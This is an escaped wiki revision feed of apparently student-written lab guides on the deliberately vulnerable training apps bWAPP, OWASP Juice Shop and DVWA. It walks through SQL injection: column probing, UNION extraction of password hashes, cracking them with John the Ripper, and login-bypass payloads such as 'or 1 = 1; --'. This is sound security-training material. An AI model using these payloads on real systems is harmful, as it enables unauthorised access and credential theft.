[[File: juice3.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Change user data&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.&lt;br /&gt;
&lt;br /&gt;
[[File:UserDaten.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in my paper: [[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5482</id>
		<title>Unsecure Webservices: bWAPP vs. JuiceShop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5482"/>
		<updated>2020-12-21T17:21:54Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Web Security Test-Application ==&lt;br /&gt;
&lt;br /&gt;
=== Penetrating Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
=== SQL Injection Vulnerability ===&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
=== bWAPP ===&lt;br /&gt;
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Juice Shop ===&lt;br /&gt;
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called &#039;online juice shop&#039; for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Comparison and architecture of bWAPP and OWASP Juice Shop==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;OWASP Juice Shop&#039;&#039;&#039; is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;bWAPP&#039;&#039;&#039; is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP &lt;br /&gt;
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine. &lt;br /&gt;
&lt;br /&gt;
To download virtualbox, use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]&lt;br /&gt;
&lt;br /&gt;
On the following page there is a step-by-step instructions for installing virtualbox: &lt;br /&gt;
&lt;br /&gt;
[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]&lt;br /&gt;
&lt;br /&gt;
To install beebox you can use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:VirtualBox.PNG|400px]]&lt;br /&gt;
[[File:BWAPP1Start.PNG|400px]]&lt;br /&gt;
&lt;br /&gt;
== Practical demonstration Step-by-Step guideline==&lt;br /&gt;
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.&lt;br /&gt;
&lt;br /&gt;
== bWAPP Challenge ==&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Select a challenge&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.&lt;br /&gt;
&lt;br /&gt;
[[File:bWAPPs.PNG|500px]]&lt;br /&gt;
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various &#039;bugs&#039;. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.&lt;br /&gt;
&lt;br /&gt;
[[File:1nebenan.png|500px]]&lt;br /&gt;
[[File:2nebenan.png|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Try out some SQL-Statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
If you enter a search term such as &#039;iron&#039;, for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word &#039;iron&#039; and the search field gives the result &#039;iron man&#039;. In this case there is a high probability that this query contains some columns. The select-command is something like &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE &#039;%&amp;quot;. $userinput.&amp;quot;%&#039;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1EingabeIron.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
If the form is vulnerable, introducing a single &#039;&#039;&#039; 1 &#039;&#039;&#039; should throw a SQL error because &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE  &amp;quot;&#039;&amp;quot; is not a valid query. As a result, you can see that the URL parameter &#039;&#039;&#039;1&#039;&#039;&#039;&#039; is definitely vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2SQLSyntaxFehler.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by &#039;&#039;&#039;1 -- -&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3URLTeilDelete.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4neueURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The output shows that the URL parameters are definitely vulnerable to SQL injections.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5ErgebnisURL1.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 3: Trying to find out the number of columns&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
To find the answer we can use an &#039;ORDER BY&#039; clause inside our query : &#039; order by 6 -- -&lt;br /&gt;
The query sent to the database will look like : &amp;quot;Select column1, column2, column3, column4, column5, column6, from table where movie LIKE &#039;%&#039; order by 6 -- -%&#039; . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown. &lt;br /&gt;
&lt;br /&gt;
We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Bild8URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result shows that column 5 corresponds to one character.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild9ErgebnisURL.PNG|500px]]	&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 4: Get the password&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild10URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result ejects the character bWAPP. Now it is only a few steps to the hashed password.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild11ErgebnisURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the following step the contents of the columns-output is &#039;User&#039;. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild20URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild21Ergebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild22URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild23PWErgebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 5: Cracking the hashed password with John the Ripper&amp;lt;/br&amp;gt;===&lt;br /&gt;
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password&#039;s output in clear text.&lt;br /&gt;
&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
== OWASP Juice Shop Challenge ==&lt;br /&gt;
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File:JuiceShopPlattform.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Try to login as Admin with simple SQL-statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The following command is used to attempt to log in as Admin: &#039;&#039;&#039; &#039;or true - -&#039;&#039;&#039;. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. &#039;&#039;&#039;True&#039;&#039;&#039; as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.&lt;br /&gt;
&lt;br /&gt;
[[File: juice4.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File: juice3.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Change user data&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.&lt;br /&gt;
&lt;br /&gt;
[[File:UserDaten.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in my paper: [[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=4991</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=4991"/>
		<updated>2020-12-13T12:41:26Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a web app that is implemented in JavaScript and TypeScript. The Angular Framework is used to implement a single-page application. Angular FlexLayout is responsible that a certain responsiveness of the application is achieved. Node.js is necessary, so that the Express application can be used on Node.js server is hosted so that the client-side code can be transmitted to it. SQLite is used as a database and via a RESTful API some backend functionality is enabled. Sequelize and Finale-Rest are used for the abstraction layer from the database. So, you have API endpoints, which allow easy interaction with the resources from the database, during the execution of custom SQL for more complex queries subsequently be executed. Another component of OWASP Juice Shop is the MarsDB which acts as an additional data store. Via the WebSocket protocol the so-called push notifications are implemented, which appear, when you have successfully completed a task. Juice Shop has OAuth 2.0, so that users can log in with their Google accounts.&lt;br /&gt;
[[JS Architectur.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
Node.js must be installed on the device. Then you  can  download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command &amp;quot;npm start&amp;quot;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Then you can see which port is open, and open any browser and enter “localhost: [port]“&amp;lt;(br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=4990</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=4990"/>
		<updated>2020-12-13T12:40:57Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: Created page with &amp;quot;The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a web app that is implemented in JavaScript and TypeScript. The Angular Framework is used to implement a single-page application. Angular FlexLayout is responsible that a certain responsiveness of the application is achieved. Node.js is necessary, so that the Express application can be used on Node.js server is hosted so that the client-side code can be transmitted to it. SQLite is used as a database and via a RESTful API some backend functionality is enabled. Sequelize and Finale-Rest are used for the abstraction layer from the database. So, you have API endpoints, which allow easy interaction with the resources from the database, during the execution of custom SQL for more complex queries subsequently be executed. Another component of OWASP Juice Shop is the MarsDB which acts as an additional data store. Via the WebSocket protocol the so-called push notifications are implemented, which appear, when you have successfully completed a task. Juice Shop has OAuth 2.0, so that users can log in with their Google accounts.&lt;br /&gt;
[[JS Architectur.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
Node.js must be installed on the device. Then you  can  download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command &amp;quot;npm start&amp;quot;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
Then you can see which port is open, and open any browser and enter “localhost: [port]“&amp;lt;(br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); -- &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;or 1 = 1 and email like (&#039;% bender% &#039;); -- &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_loggedin.PNG&amp;diff=4989</id>
		<title>File:JS loggedin.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_loggedin.PNG&amp;diff=4989"/>
		<updated>2020-12-13T12:40:06Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_sqllogin.PNG&amp;diff=4988</id>
		<title>File:JS sqllogin.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_sqllogin.PNG&amp;diff=4988"/>
		<updated>2020-12-13T12:39:09Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_Homepage.PNG&amp;diff=4987</id>
		<title>File:JS Homepage.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_Homepage.PNG&amp;diff=4987"/>
		<updated>2020-12-13T12:34:31Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_Terminal.PNG&amp;diff=4986</id>
		<title>File:JS Terminal.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_Terminal.PNG&amp;diff=4986"/>
		<updated>2020-12-13T12:33:33Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_Architectur.PNG&amp;diff=4985</id>
		<title>File:JS Architectur.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:JS_Architectur.PNG&amp;diff=4985"/>
		<updated>2020-12-13T12:27:53Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=4984</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=4984"/>
		<updated>2020-12-13T12:12:00Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: Created page with &amp;quot;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web app. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web app. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of bWAPP. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
The applicaktion could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
localhost/dvwa is called by the browser, which leads you to the login. Username is “admin” and password is “password”. Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
